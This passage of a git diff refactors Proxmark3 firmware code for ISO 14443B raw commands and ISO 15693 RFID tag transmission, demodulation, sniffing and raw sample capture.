(Demod.state > DEMOD_GOT_FALLING_EDGE_OF_SOF); + } + } + + if (MF_DBGLEVEL >= 2) { + DbpString("[+] Sniff statistics:"); + Dbprintf("[+] uart State: %x ByteCount: %i ByteCountMax: %i", Uart.state, Uart.byteCnt, Uart.byteCntMax); + Dbprintf("[+] trace length: %i", BigBuf_get_traceLen()); + } + + switch_off(); +} + +void iso14b_set_trigger(bool enable) { + trigger = enable; +} + +/* + * Send raw command to tag ISO14443B + * @Input + * param flags enum ISO14B_COMMAND. (mifare.h) + * len len of buffer data + * data buffer with bytes to send + * + * @Output + * none + * + */ +void SendRawCommand14443B_Ex(UsbCommand *c) { + iso14b_command_t param = c->arg[0]; + size_t len = c->arg[1] & 0xffff; + uint8_t *cmd = c->d.asBytes; + uint8_t status = 0; + uint32_t sendlen = sizeof(iso14b_card_select_t); + uint8_t buf[USB_CMD_DATA_SIZE] = {0x00}; + + if (MF_DBGLEVEL > 3) Dbprintf("14b raw: param, %04x", param ); + + // turn on trigger (LED_A) + if ((param & ISO14B_REQUEST_TRIGGER) == ISO14B_REQUEST_TRIGGER) + iso14b_set_trigger(true); + + if ((param & ISO14B_CONNECT) == ISO14B_CONNECT) { + // Make sure that we start from off, since the tags are stateful; + // confusing things will happen if we don't reset them between reads. + //switch_off(); // before connect in raw + iso14443b_setup(); + } + + set_tracing(true); + + if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) { + iso14b_card_select_t *card = (iso14b_card_select_t*)buf; + status = iso14443b_select_card(card); + cmd_send(CMD_ACK, status, sendlen, 0, buf, sendlen); + // 0: OK 2: attrib fail, 3:crc fail, + if ( status > 0 ) return; + } + + if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) { + iso14b_card_select_t *card = (iso14b_card_select_t*)buf; + status = iso14443b_select_srx_card(card); + cmd_send(CMD_ACK, status, sendlen, 0, buf, sendlen); + // 0: OK 2: attrib fail, 3:crc fail, + if ( status > 0 ) return; + } + + if ((param & ISO14B_APDU) == ISO14B_APDU) { + status = iso14443b_apdu(cmd, len, buf); + cmd_send(CMD_ACK, status, status, 0, buf, status); + } + + if ((param & ISO14B_RAW) == ISO14B_RAW) { + if((param & ISO14B_APPEND_CRC) == ISO14B_APPEND_CRC) { + AddCrc14B(cmd, len); + len += 2; + } + + CodeAndTransmit14443bAsReader(cmd, len); // raw + GetTagSamplesFor14443bDemod(); // raw + + sendlen = MIN(Demod.len, USB_CMD_DATA_SIZE); + status = (Demod.len > 0) ? 0 : 1; + cmd_send(CMD_ACK, status, sendlen, 0, Demod.output, sendlen); + } + + // turn off trigger (LED_A) + if ((param & ISO14B_REQUEST_TRIGGER) == ISO14B_REQUEST_TRIGGER) + iso14b_set_trigger(false); + + // turn off antenna et al + // we don't send a HALT command. + if ((param & ISO14B_DISCONNECT) == ISO14B_DISCONNECT) { + if (MF_DBGLEVEL > 2) Dbprintf("disconnect"); + switch_off(); // disconnect raw + SpinDelay(20); + } else { + //FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX | FPGA_HF_READER_TX_SHALLOW_MOD); + } + +} \ No newline at end of file diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h new file mode 100644 index 000000000..84765537a --- /dev/null +++ b/armsrc/iso14443b.h @@ -0,0 +1,60 @@ +//----------------------------------------------------------------------------- +// Merlok - June 2011 +// Gerhard de Koning Gans - May 2008 +// Hagen Fritsch - June 2010 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Routines to support ISO 14443 type B. +//----------------------------------------------------------------------------- + +#ifndef __ISO14443B_H +#define __ISO14443B_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "proxmark3.h" +#include "common.h" // access to global variable: MF_DBGLEVEL +#include "apps.h" +#include "util.h" +#include "string.h" +#include "crc16.h" +#include "mifare.h" +#include "protocols.h" + +#ifndef AddCrc14A +# define AddCrc14A(data, len) compute_crc(CRC_14443_A, (data), (len), (data)+(len), (data)+(len)+1) +#endif + +#ifndef AddCrc14B +# define AddCrc14B(data, len) compute_crc(CRC_14443_B, (data), (len), (data)+(len), (data)+(len)+1) +#endif + +extern void SendRawCommand14443B_Ex(UsbCommand *c); +extern void iso14443b_setup(); +extern uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *response); +extern uint8_t iso14443b_select_card(iso14b_card_select_t* card); +extern uint8_t iso14443b_select_card_srx(iso14b_card_select_t* card); + +// testfunctions +extern void WaitForFpgaDelayQueueIsEmpty( uint16_t delay ); +extern void ClearFpgaShiftingRegisters(void); + +// States for 14B SIM command +#define SIM_NOFIELD 0 +#define SIM_IDLE 1 +#define SIM_HALTED 2 +#define SIM_SELECTING 3 +#define SIM_HALTING 4 +#define SIM_ACKNOWLEDGE 5 +#define SIM_WORK 6 + +#ifdef __cplusplus +} +#endif + +#endif /* __ISO14443B_H */ diff --git a/armsrc/iso15693.c b/armsrc/iso15693.c index ed7beb6fb..450341703 100644 --- a/armsrc/iso15693.c +++ b/armsrc/iso15693.c @@ -2,6 +2,7 @@ // Jonathan Westhues, split Nov 2006 // Modified by Greg Jones, Jan 2009 // Modified by Adrian Dabrowski "atrox", Mar-Sept 2010,Oct 2011 +// Modified by Christian Herrmann "iceman", 2017 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -57,7 +58,6 @@ // *) remove or refactor code under "depricated" // *) document all the functions - #include "proxmark3.h" #include "util.h" #include "apps.h" @@ -65,24 +65,31 @@ #include "iso15693tools.h" #include "cmd.h" -#define arraylen(x) (sizeof(x)/sizeof((x)[0])) - /////////////////////////////////////////////////////////////////////// // ISO 15693 Part 2 - Air Interface // This section basicly contains transmission and receiving of bits /////////////////////////////////////////////////////////////////////// +// 32 + 2 crc + 1 +#define ISO15_MAX_FRAME 35 +#define CMD_ID_RESP 5 +#define CMD_READ_RESP 13 +#define CMD_INV_RESP 12 + #define FrameSOF Iso15693FrameSOF #define Logic0 Iso15693Logic0 #define Logic1 Iso15693Logic1 #define FrameEOF Iso15693FrameEOF -#define Crc(data,datalen) Iso15693Crc(data,datalen) -#define AddCrc(data,datalen) Iso15693AddCrc(data,datalen) -#define sprintUID(target,uid) Iso15693sprintUID(target,uid) +#define Crc(data, len) crc(CRC_15693, (data), (len)) +#define CheckCrc(data, len) check_crc(CRC_15693, (data), (len)) +#define AddCrc(data, len) compute_crc(CRC_15693, (data), (len), (data)+(len), (data)+(len)+1) -int DEBUG=0; +#define sprintUID(target,uid) Iso15693sprintUID((target), (uid)) +static void BuildIdentifyRequest(uint8_t *cmdout); +//static void BuildReadBlockRequest(uint8_t *cmdout, uint8_t *uid, uint8_t blockNumber ); +static void BuildInventoryResponse(uint8_t *cmdout, uint8_t *uid); // --------------------------- // Signal Processing @@ -92,16 +99,14 @@ int DEBUG=0; // resulting data rate is 26,48 kbit/s (fc/512) // cmd ... data // n ... length of data -static void CodeIso15693AsReader(uint8_t *cmd, int n) -{ +static void CodeIso15693AsReader(uint8_t *cmd, int n) { int i, j; ToSendReset(); // Give it a bit of slack at the beginning - for(i = 0; i < 24; i++) { + for(i = 0; i < 24; i++) ToSendStuffBit(1); - } // SOF for 1of4 ToSendStuffBit(0); @@ -166,24 +171,21 @@ static void CodeIso15693AsReader(uint8_t *cmd, int n) ToSendStuffBit(1); // And slack at the end, too. - for(i = 0; i < 24; i++) { + for(i = 0; i < 24; i++) ToSendStuffBit(1); - } } // encode data using "1 out of 256" sheme // data rate is 1,66 kbit/s (fc/8192) // is designed for more robust communication over longer distances -static void CodeIso15693AsReader256(uint8_t *cmd, int n) -{ +static void CodeIso15693AsReader256(uint8_t *cmd, int n) { int i, j; ToSendReset(); // Give it a bit of slack at the beginning - for(i = 0; i < 24; i++) { + for(i = 0; i < 24; i++) ToSendStuffBit(1); - } // SOF for 1of256 ToSendStuffBit(0); @@ -196,8 +198,8 @@ static void CodeIso15693AsReader256(uint8_t *cmd, int n) ToSendStuffBit(0); for(i = 0; i < n; i++) { - for (j = 0; j<=255; j++) { - if (cmd[i]==j) { + for (j = 0; j <= 255; j++) { + if (cmd[i] == j) { ToSendStuffBit(1); ToSendStuffBit(0); } else { @@ -213,567 +215,464 @@ static void CodeIso15693AsReader256(uint8_t *cmd, int n) ToSendStuffBit(1); // And slack at the end, too. - for(i = 0; i < 24; i++) { + for(i = 0; i < 24; i++) ToSendStuffBit(1); - } } - // Transmit the command (to the tag) that was placed in ToSend[]. -static void TransmitTo15693Tag(const uint8_t *cmd, int len, int *samples, int *wait) -{ +static void TransmitTo15693Tag(const uint8_t *cmd, int len, int *samples, int *wait) { + int c; - -// FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + volatile uint32_t r; FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX); - if(*wait < 10) { *wait = 10; } -// for(c = 0; c < *wait;) { -// if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { -// AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! -// c++; -// } -// if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { -// volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; -// (void)r; -// } -// WDT_HIT(); -// } + if (wait) { + for (c = 0; c < *wait;) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! + ++c; + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + r = AT91C_BASE_SSC->SSC_RHR; (void)r; + } + WDT_HIT(); + } + } c = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + for(;;) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = cmd[c]; - c++; - if(c >= len) { - break; - } + if( ++c >= len) break; } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + r = AT91C_BASE_SSC->SSC_RHR; (void)r; } - WDT_HIT(); + WDT_HIT(); } - *samples = (c + *wait) << 3; + + if (samples) { + if (wait) + *samples = (c + *wait) << 3; + else + *samples = c << 3; + } } //----------------------------------------------------------------------------- // Transmit the command (to the reader) that was placed in ToSend[]. //----------------------------------------------------------------------------- -static void TransmitTo15693Reader(const uint8_t *cmd, int len, int *samples, int *wait) -{ - int c; +static void TransmitTo15693Reader(const uint8_t *cmd, int len, int *samples, int *wait) { + int c = 0; + volatile uint32_t r; + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR|FPGA_HF_SIMULATOR_MODULATE_424K); + + if (wait) { + for (c = 0; c < *wait;) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! + ++c; + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + r = AT91C_BASE_SSC->SSC_RHR; (void)r; + } + WDT_HIT(); + } + } -// FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR); // No requirement to energise my coils - if(*wait < 10) { *wait = 10; } - - c = 0; + c = 0; for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = cmd[c]; - c++; - if(c >= len) { - break; - } + if( ++c >= len) break; } if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; + r = AT91C_BASE_SSC->SSC_RHR; (void)r; } - WDT_HIT(); + WDT_HIT(); } - *samples = (c + *wait) << 3; + if (samples) { + if (wait) + *samples = (c + *wait) << 3; + else + *samples = c << 3; + } } +//----------------------------------------------------------------------------- +// DEMODULATE tag answer +//----------------------------------------------------------------------------- +static int DemodAnswer(uint8_t *received, uint8_t *dest, uint16_t samplecount) { + + int i, j; + int max = 0, maxPos = 0, skip = 4; + int k = 0; // this will be our return value + + // First, correlate for SOF + for (i = 0; i < samplecount; i++) { + int corr = 0; + for ( j = 0; j < ARRAYLEN(FrameSOF); j += skip) { + corr += FrameSOF[j] * dest[i+(j/skip)]; + } + if (corr > max) { + max = corr; + maxPos = i; + } + } + // DbpString("SOF at %d, correlation %d", maxPos,max/(ARRAYLEN(FrameSOF)/skip)); + + // greg - If correlation is less than 1 then there's little point in continuing + if ((max / (ARRAYLEN(FrameSOF)/skip) ) < 1) + return k; + + i = maxPos + ARRAYLEN(FrameSOF) / skip; + + uint8_t outBuf[ISO15_MAX_FRAME]; + memset(outBuf, 0, sizeof(outBuf)); + uint8_t mask = 0x01; + for(;;) { + int corr0 = 0, corr1 = 0, corrEOF = 0; + for (j = 0; j < ARRAYLEN(Logic0); j += skip) { + corr0 += Logic0[j] * dest[i+(j/skip)]; + } + for (j = 0; j < ARRAYLEN(Logic1); j += skip) { + corr1 += Logic1[j] * dest[i+(j/skip)]; + } + for (j = 0; j < ARRAYLEN(FrameEOF); j += skip) { + corrEOF += FrameEOF[j] * dest[i+(j/skip)]; + } + // Even things out by the length of the target waveform. + corr0 *= 4; + corr1 *= 4; + // if (MF_DBGLEVEL >= MF_DBG_EXTENDED) + // Dbprintf("Corr1 %d, Corr0 %d, CorrEOF %d", corr1, corr0, corrEOF); + + if (corrEOF > corr1 && corrEOF > corr0) + break; + + if (corr1 > corr0) { + i += ARRAYLEN(Logic1) / skip; + outBuf[k] |= mask; + } else { + i += ARRAYLEN(Logic0) / skip; + } + + mask <<= 1; + + if (mask == 0) { + k++; + mask = 0x01; + } + + if ( ( i + (int)ARRAYLEN(FrameEOF)) >= samplecount-1) { + //Dbprintf("[!] ran off end! %d | %d",( i + (int)ARRAYLEN(FrameEOF)), samplecount-1); + break; + } + } + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("ice: demod bytes %u", k); + + if (mask != 0x01) { // this happens, when we miss the EOF + + // TODO: for some reason this happens quite often + if (MF_DBGLEVEL >= MF_DBG_ERROR && k != 0) Dbprintf("[!] error, uneven octet! (extra bits!) mask %02x", mask); + //if (mask < 0x08) k--; // discard the last uneven octet; + // 0x08 is an assumption - but works quite often + } + + for(i = 0; i < k; i++) + received[i] = outBuf[i]; + + // return the number of bytes demodulated + return k; +} // Read from Tag // Parameters: -// receivedResponse -// maxLen +// received // samples // elapsed // returns: // number of decoded bytes -static int GetIso15693AnswerFromTag(uint8_t *receivedResponse, int maxLen, int *samples, int *elapsed) -{ - int c = 0; - uint8_t *dest = (uint8_t *)BigBuf; - int getNext = 0; +// logging enabled +static int GetIso15693AnswerFromTag(uint8_t *received, int *elapsed) { - int8_t prev = 0; +#define SIGNAL_BUFF_SIZE 15000 + // get current clock + uint32_t time_0 = GetCountSspClk(); + uint32_t time_stop = 0; + bool getNext = false; + int counter = 0, ci = 0, cq = 0; + //volatile uint32_t r; + uint8_t *buf = BigBuf_malloc(SIGNAL_BUFF_SIZE); -// NOW READ RESPONSE + if (elapsed) *elapsed = 0; + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - //spindelay(60); // greg - experiment to get rid of some of the 0 byte/failed reads - c = 0; - getNext = FALSE; + + // for (counter = 0; counter < wait;) { + + // WDT_HIT(); + + // if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + // AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing! + // counter++; + // } + // if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + // r = AT91C_BASE_SSC->SSC_RHR; (void)r; + // } + // } + // counter = 0; + + for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x43; + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; //0x43; + // To make use of exact timing of next command from reader!! + if (elapsed) (*elapsed)++; } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - int8_t b; - b = (int8_t)AT91C_BASE_SSC->SSC_RHR; + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + + ci = (int8_t)AT91C_BASE_SSC->SSC_RHR; + + // LSB is a FPGA singal bit + ci >>= 1; + ci = ABS(ci); // The samples are correlations against I and Q versions of the // tone that the tag AM-modulates, so every other sample is I, // every other is Q. We just want power, so abs(I) + abs(Q) is // close to what we want. - if(getNext) { - int8_t r; - - if(b < 0) { - r = -b; - } else { - r = b; - } - if(prev < 0) { - r -= prev; - } else { - r += prev; - } - - dest[c++] = (uint8_t)r; - - if(c >= 2000) { + // iceman 2016, amplitude sqrt(abs(i) + abs(q)) + if (getNext) { + + buf[counter++] = (uint8_t)(MAX(ci,cq) + (MIN(ci, cq) >> 1)); + + if (counter >= SIGNAL_BUFF_SIZE) break; - } } else { - prev = b; + cq = ci; } - getNext = !getNext; } - } - - ////////////////////////////////////////// - /////////// DEMODULATE /////////////////// - ////////////////////////////////////////// - - int i, j; - int max = 0, maxPos=0; - - int skip = 4; - - // if(GraphTraceLen < 1000) return; // THIS CHECKS FOR A BUFFER TO SMALL - - // First, correlate for SOF - for(i = 0; i < 100; i++) { - int corr = 0; - for(j = 0; j < arraylen(FrameSOF); j += skip) { - corr += FrameSOF[j]*dest[i+(j/skip)]; - } - if(corr > max) { - max = corr; - maxPos = i; - } - } - // DbpString("SOF at %d, correlation %d", maxPos,max/(arraylen(FrameSOF)/skip)); - - int k = 0; // this will be our return value - - // greg - If correlation is less than 1 then there's little point in continuing - if ((max/(arraylen(FrameSOF)/skip)) >= 1) - { - - i = maxPos + arraylen(FrameSOF)/skip; - - uint8_t outBuf[20]; - memset(outBuf, 0, sizeof(outBuf)); - uint8_t mask = 0x01; - for(;;) { - int corr0 = 0, corr1 = 0, corrEOF = 0; - for(j = 0; j < arraylen(Logic0); j += skip) { - corr0 += Logic0[j]*dest[i+(j/skip)]; - } - for(j = 0; j < arraylen(Logic1); j += skip) { - corr1 += Logic1[j]*dest[i+(j/skip)]; - } - for(j = 0; j < arraylen(FrameEOF); j += skip) { - corrEOF += FrameEOF[j]*dest[i+(j/skip)]; - } - // Even things out by the length of the target waveform. - corr0 *= 4; - corr1 *= 4; - - if(corrEOF > corr1 && corrEOF > corr0) { - // DbpString("EOF at %d", i); - break; - } else if(corr1 > corr0) { - i += arraylen(Logic1)/skip; - outBuf[k] |= mask; - } else { - i += arraylen(Logic0)/skip; - } - mask <<= 1; - if(mask == 0) { - k++; - mask = 0x01; - } - if((i+(int)arraylen(FrameEOF)) >= 2000) { - DbpString("ran off end!"); - break; - } - } - if(mask != 0x01) { // this happens, when we miss the EOF - // TODO: for some reason this happens quite often - if (DEBUG) Dbprintf("error, uneven octet! (extra bits!) mask=%02x", mask); - if (mask<0x08) k--; // discard the last uneven octet; - // 0x08 is an assumption - but works quite often - } - // uint8_t str1 [8]; - // itoa(k,str1); - // strncat(str1," octets read",8); - - // DbpString( str1); // DbpString("%d octets", k); - - // for(i = 0; i < k; i+=3) { - // //DbpString("# %2d: %02x ", i, outBuf[i]); - // DbpIntegers(outBuf[i],outBuf[i+1],outBuf[i+2]); - // } - - for(i = 0; i < k; i++) { - receivedResponse[i] = outBuf[i]; - } - } // "end if correlation > 0" (max/(arraylen(FrameSOF)/skip)) - return k; // return the number of bytes demodulated - -/// DbpString("CRC=%04x", Iso15693Crc(outBuf, k-2)); - + } + time_stop = GetCountSspClk() - time_0 ; + int len = DemodAnswer(received, buf, counter); + LogTrace(received, len, time_0 << 4, time_stop << 4, NULL, false); + BigBuf_free(); + return len; } // Now the GetISO15693 message from sniffing command -static int GetIso15693AnswerFromSniff(uint8_t *receivedResponse, int maxLen, int *samples, int *elapsed) -{ - int c = 0; - uint8_t *dest = (uint8_t *)BigBuf; - int getNext = 0; +// logging enable, +static int GetIso15693AnswerFromSniff(uint8_t *received, int *samples, int *elapsed) { - int8_t prev = 0; + bool getNext = false; + int counter = 0, ci = 0, cq = 0; + uint32_t time_0 = 0, time_stop = 0; + uint8_t *buf = BigBuf_get_addr(); -// NOW READ RESPONSE + // get current clock + time_0 = GetCountSspClk(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - //spindelay(60); // greg - experiment to get rid of some of the 0 byte/failed reads - c = 0; - getNext = FALSE; + for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x43; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - int8_t b; - b = (int8_t)AT91C_BASE_SSC->SSC_RHR; + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) + AT91C_BASE_SSC->SSC_THR = 0x43; + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + + ci = (int8_t)AT91C_BASE_SSC->SSC_RHR; + + // LSB is a FPGA singal bit + ci >>= 1; + ci = ABS(ci); + // The samples are correlations against I and Q versions of the // tone that the tag AM-modulates, so every other sample is I, // every other is Q. We just want power, so abs(I) + abs(Q) is // close to what we want. - if(getNext) { - int8_t r; + if (getNext) { - if(b < 0) { - r = -b; - } else { - r = b; - } - if(prev < 0) { - r -= prev; - } else { - r += prev; - } + buf[counter++] = (uint8_t)(MAX(ci,cq) + (MIN(ci, cq) >> 1)); - dest[c++] = (uint8_t)r; - - if(c >= 20000) { + if(counter >= 20000) break; - } } else { - prev = b; + cq = ci; } - getNext = !getNext; } } - - ////////////////////////////////////////// - /////////// DEMODULATE /////////////////// - ////////////////////////////////////////// - - int i, j; - int max = 0, maxPos=0; - - int skip = 4; - -// if(GraphTraceLen < 1000) return; // THIS CHECKS FOR A BUFFER TO SMALL - - // First, correlate for SOF - for(i = 0; i < 19000; i++) { - int corr = 0; - for(j = 0; j < arraylen(FrameSOF); j += skip) { - corr += FrameSOF[j]*dest[i+(j/skip)]; - } - if(corr > max) { - max = corr; - maxPos = i; - } - } -// DbpString("SOF at %d, correlation %d", maxPos,max/(arraylen(FrameSOF)/skip)); - - int k = 0; // this will be our return value - - // greg - If correlation is less than 1 then there's little point in continuing - if ((max/(arraylen(FrameSOF)/skip)) >= 1) // THIS SHOULD BE 1 - { - i = maxPos + arraylen(FrameSOF)/skip; - - uint8_t outBuf[20]; - memset(outBuf, 0, sizeof(outBuf)); - uint8_t mask = 0x01; - for(;;) { - int corr0 = 0, corr1 = 0, corrEOF = 0; - for(j = 0; j < arraylen(Logic0); j += skip) { - corr0 += Logic0[j]*dest[i+(j/skip)]; - } - for(j = 0; j < arraylen(Logic1); j += skip) { - corr1 += Logic1[j]*dest[i+(j/skip)]; - } - for(j = 0; j < arraylen(FrameEOF); j += skip) { - corrEOF += FrameEOF[j]*dest[i+(j/skip)]; - } - // Even things out by the length of the target waveform. - corr0 *= 4; - corr1 *= 4; - - if(corrEOF > corr1 && corrEOF > corr0) { - // DbpString("EOF at %d", i); - break; - } else if(corr1 > corr0) { - i += arraylen(Logic1)/skip; - outBuf[k] |= mask; - } else { - i += arraylen(Logic0)/skip; - } - mask <<= 1; - if(mask == 0) { - k++; - mask = 0x01; - } - if((i+(int)arraylen(FrameEOF)) >= 2000) { - DbpString("ran off end!"); - break; - } - } - if(mask != 0x01) { - DbpString("sniff: error, uneven octet! (discard extra bits!)"); - /// DbpString(" mask=%02x", mask); - } - // uint8_t str1 [8]; - // itoa(k,str1); - // strncat(str1," octets read",8); - - // DbpString( str1); // DbpString("%d octets", k); - - // for(i = 0; i < k; i+=3) { - // //DbpString("# %2d: %02x ", i, outBuf[i]); - // DbpIntegers(outBuf[i],outBuf[i+1],outBuf[i+2]); - // } - - for(i = 0; i < k; i++) { - receivedResponse[i] = outBuf[i]; - } - } // "end if correlation > 0" (max/(arraylen(FrameSOF)/skip)) - return k; // return the number of bytes demodulated - -/// DbpString("CRC=%04x", Iso15693Crc(outBuf, k-2)); + time_stop = GetCountSspClk() - time_0; + int k = DemodAnswer(received, buf, counter); + LogTrace(received, k, time_0 << 4, time_stop << 4, NULL, false); + return k; } - -static void BuildIdentifyRequest(void); //----------------------------------------------------------------------------- // Start to read an ISO 15693 tag. We send an identify request, then wait // for the response. The response is not demodulated, just left in the buffer // so that it can be downloaded to a PC and processed there. //----------------------------------------------------------------------------- -void AcquireRawAdcSamplesIso15693(void) -{ - int c = 0; - uint8_t *dest = (uint8_t *)BigBuf; - int getNext = 0; - - int8_t prev = 0; - +void AcquireRawAdcSamplesIso15693(void) { + int c = 0, getNext = false; + volatile uint32_t r; + int ci = 0, cq = 0; + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - BuildIdentifyRequest(); - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - - // Give the tags time to energize - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - SpinDelay(100); - - // Now send the command FpgaSetupSsc(); + // Give the tags time to energize + //FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); + + // Now send the command FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX); + SpinDelay(200); + uint8_t *buf = BigBuf_get_addr(); + + uint32_t time_start = GetCountSspClk(); + uint8_t cmd[CMD_ID_RESP] = {0}; + BuildIdentifyRequest(cmd); + + // sending command c = 0; for(;;) { + WDT_HIT(); + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = ToSend[c]; c++; - if(c == ToSendMax+3) { + if(c == ToSendMax + 3) { break; } } if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; - (void)r; + r = AT91C_BASE_SSC->SSC_RHR; (void)r; } + } + + + LogTrace(cmd, CMD_ID_RESP, time_start << 4, (GetCountSspClk() - time_start) << 4, NULL, true); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); + + c = 0; + for(;;) { WDT_HIT(); - } - - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - - c = 0; - getNext = FALSE; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) AT91C_BASE_SSC->SSC_THR = 0x43; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - int8_t b; - b = (int8_t)AT91C_BASE_SSC->SSC_RHR; + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + ci = (int8_t)AT91C_BASE_SSC->SSC_RHR; + + // LSB is a FPGA singal bit + ci >>= 1; + + ci = ABS(ci); + // The samples are correlations against I and Q versions of the // tone that the tag AM-modulates, so every other sample is I, // every other is Q. We just want power, so abs(I) + abs(Q) is // close to what we want. - if(getNext) { - int8_t r; - - if(b < 0) { - r = -b; - } else { - r = b; - } - if(prev < 0) { - r -= prev; - } else { - r += prev; - } - - dest[c++] = (uint8_t)r; - - if(c >= 2000) { - break; - } + // iceman 2016, amplitude sqrt(abs(i) + abs(q)) + if (getNext) { + + buf[c++] = (uint8_t)(MAX(ci,cq) + (MIN(ci, cq) >> 1)); + + if (c >= 7000) break; + } else { - prev = b; + cq = ci; } - getNext = !getNext; } } } +// switch_off, initreader, no logging +void RecordRawAdcSamplesIso15693(void) { -void RecordRawAdcSamplesIso15693(void) -{ - int c = 0; - uint8_t *dest = (uint8_t *)BigBuf; - int getNext = 0; + int c = 0, getNext = false; + int ci = 0, cq = 0; + + Iso15693InitReader(); - int8_t prev = 0; + uint8_t *buf = BigBuf_get_addr(); - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - // Setup SSC - FpgaSetupSsc(); - - // Start from off (no field generated) - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - - SpinDelay(100); - - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - - c = 0; - getNext = FALSE; - for(;;) { + for(;;) { + WDT_HIT(); + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = 0x43; } if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - int8_t b; - b = (int8_t)AT91C_BASE_SSC->SSC_RHR; + ci = (int8_t)AT91C_BASE_SSC->SSC_RHR; + + // LSB is a FPGA singal bit + ci >>= 1; + + ci = ABS(ci); // The samples are correlations against I and Q versions of the // tone that the tag AM-modulates, so every other sample is I, // every other is Q. We just want power, so abs(I) + abs(Q) is // close to what we want. - if(getNext) { - int8_t r; + if (getNext) { + + buf[c++] = (uint8_t)(MAX(ci,cq) + (MIN(ci, cq) >> 1)); - if(b < 0) { - r = -b; - } else { - r = b; - } - if(prev < 0) { - r -= prev; - } else { - r += prev; - } - - dest[c++] = (uint8_t)r; - - if(c >= 7000) { + if(c >= 7000) break; - } } else { - prev = b; + cq = ci; } getNext = !getNext; - WDT_HIT(); } } 